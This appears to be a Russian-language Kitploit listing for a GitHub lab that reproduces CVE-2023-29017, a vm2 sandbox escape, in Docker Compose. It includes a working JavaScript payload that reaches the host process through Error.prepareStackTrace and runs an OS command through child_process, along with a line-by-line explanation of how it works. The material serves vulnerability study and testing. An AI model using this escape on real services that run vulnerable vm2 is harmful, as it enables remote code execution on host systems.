Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Node_CVE-2023-29017 — Воспроизведение CVE-2023-29017 в Node.js vm2 с Docker Compose и PoC | Kitploit
Инструменты/GitHubGitHub/gunwoo105/node_cve-2023-29017
Безопасность контейнеровАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Воспроизведение CVE-2023-29017 в Node.js vm2 с Docker Compose и PoC

Репозиторий
162 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-29017 | Удалённое выполнение кода через побег из песочницы vm2

[WHS 4-го набора, 31-я группа] — Ким Гону (@gunwoo105)

Краткое описание уязвимости

vm2 — это библиотека-песочница Node.js для выполнения недоверенного JavaScript в ограниченной среде. В штатном режиме код внутри песочницы не должен иметь доступа к чувствительным функциям Node.js, таким как process, require, child_process, а также к файловой системе хоста.

Однако в vm2 версии 3.9.14 и ниже при возникновении необработанной асинхронной ошибки объект хоста, передаваемый в Error.prepareStackTrace, обрабатывается небезопасно. Атакующий может воспользоваться цепочкой конструкторов этого объекта, чтобы получить конструктор Function и объект process в контексте хоста и в конечном счёте выполнить команды операционной системы через child_process.

Настройка окружения

Компоненты

КомпонентВерсия и настройка
Node.js18.15.0
vm23.9.14
Патч-версия3.9.15
Среда выполненияDocker Compose
Пользователь контейнераnode
Порт сервиса127.0.0.1:3000
Установка пакетовnpm ci + package-lock.json

Вместо готового уязвимого образа образ собирается напрямую из официального базового образа Node.js и исходного кода, включённого в репозиторий. В Dockerfile проверяются версии Node.js и vm2; если версии не совпадают с ожидаемыми, сборка завершается ошибкой.

RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
ФайлНазначение
docker-compose.ymlОпределяет конфигурацию уязвимого сервиса и PoC-контейнеров, а также порядок их запуска
DockerfileСобирает образы уязвимого сервиса и PoC в режиме multi-stage
vulnerable/src/server.jsПредоставляет эндпоинты /health, /execute, /evidence
vulnerable/src/worker.jsВыполняет пользовательский ввод в vm2 в отдельном процессе
poc/poc.jsАвтоматизирует проверку версий, контрольный запуск с обычным кодом, атаку и проверку доказательств
vulnerable/package-lock.jsonФиксирует версии пакетов, включая транзитивные зависимости

Причина запуска worker.js в отдельном процессе в том, что PoC вызывает необработанную асинхронную ошибку. Даже если worker-процесс завершится в ходе атаки, веб-сервер продолжит работать, а успех можно надёжно проверить по маркерному файлу.

Условия уязвимости

Должны быть выполнены все следующие условия.

  1. Приложение использует vm2 3.9.14 или более раннюю версию.
  2. Атакующий может контролировать входной JavaScript, который будет выполнен.
  3. Этот JavaScript выполняется внутри vm2.
  4. Разрешено асинхронное выполнение JavaScript.
  5. Необработанная асинхронная ошибка достигает уязвимого пути обработки stack trace.
  6. Процесс Node.js, запускающий vm2, имеет права на выполнение команд операционной системы или доступ к файлам.

Не все сервисы, где установлен vm2, автоматически подвержены удалённой атаке. Необходимо наличие функциональности, выполняющей контролируемый атакующим код в vm2. Эндпоинт /execute в этом практикуме реализует данный сценарий использования в минимальном виде.

Схема атаки выглядит следующим образом.

악성 JavaScript 전달
        │
        ▼
처리되지 않은 비동기 오류 발생
        │
        ▼
Error.prepareStackTrace 호출
        │
        ▼
호스트 frames 객체 노출
        │
        ▼
호스트 Function 생성자 획득
        │
        ▼
process → require → child_process
        │
        ▼
컨테이너 내부 OS 명령 실행

Процедура воспроизведения

Сборка образа

docker compose build --no-cache

Успешная сборка образа

Запуск уязвимого сервиса

docker compose up -d vulnerable

Проверьте состояние контейнера.

docker compose ps

Проверка состояния сервиса и версий

curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Проверка состояния сервиса и версий

Запуск PoC

docker compose run --rm poc
echo "exit_code=$?"

PoC автоматически проверяет следующие пункты.

  1. Healthcheck уязвимого сервиса
  2. Версии Node.js и vm2
  3. Выполнение обычного JavaScript 21 * 2
  4. Проверка того, что маркерный файл не создаётся при выполнении обычного кода
  5. Передача payload CVE-2023-29017
  6. Проверка факта создания /tmp/vm2-pwned
  7. Проверка наличия uid= в содержимом файла
  8. Возврат кода завершения 0 при успехе и 1 при неудаче

Чтобы выполнить всё одним разом — от сборки до PoC — используйте следующую команду.

docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Проверка файла-доказательства

docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Завершение работы окружения

docker compose down -v --rmi local --remove-orphans

5. Код PoC

Полный PoC находится в файле poc/poc.js. Основная полезная нагрузка (payload) выглядит следующим образом.

Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Как работает код

Переопределение Error.prepareStackTrace

Error.prepareStackTrace = (error, frames) => {

Атакующий переопределяет функцию, которая выполняется при формировании stack trace ошибки.

Получение конструктора Function хоста

frames.constructor.constructor

Следуя по цепочке конструкторов объекта frames хоста, раскрытого уязвимым vm2, достигает конструктора Function в контексте хоста.

Получение объекта process хоста

frames.constructor.constructor('return process')();

Создаёт и выполняет функцию, возвращающую process в контексте хоста.

Выполнение команды операционной системы

hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Загружает child_process, недоступный внутри песочницы, и выполняет команду Linux id.

Инициирование необработанной асинхронной ошибки

(async () => {}).constructor('return process')();

Заставляет асинхронную функцию ссылаться на process, недоступный в песочнице, создавая отклонённый Promise (rejected Promise) и достигая тем самым уязвимого пути обработки stack trace.

Результаты выполнения

Контрольная группа (обычный код)

Обычный JavaScript выполняется внутри vm2 и возвращает 42, но не создаёт доказательств выполнения команд операционной системы.

[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Эксплуатация уязвимости

При передаче вредоносной нагрузки (payload) происходит побег из песочницы vm2, и внутри контейнера с правами уязвимого процесса Node.js выполняется команда id.

[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

PoC повторно проверяет сохранённое доказательство и возвращает статус успеха.

[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Успешный запуск PoC

При непосредственной проверке файла-доказательства вывод выглядит следующим образом.

Проверка маркерного файла

Скачать инструмент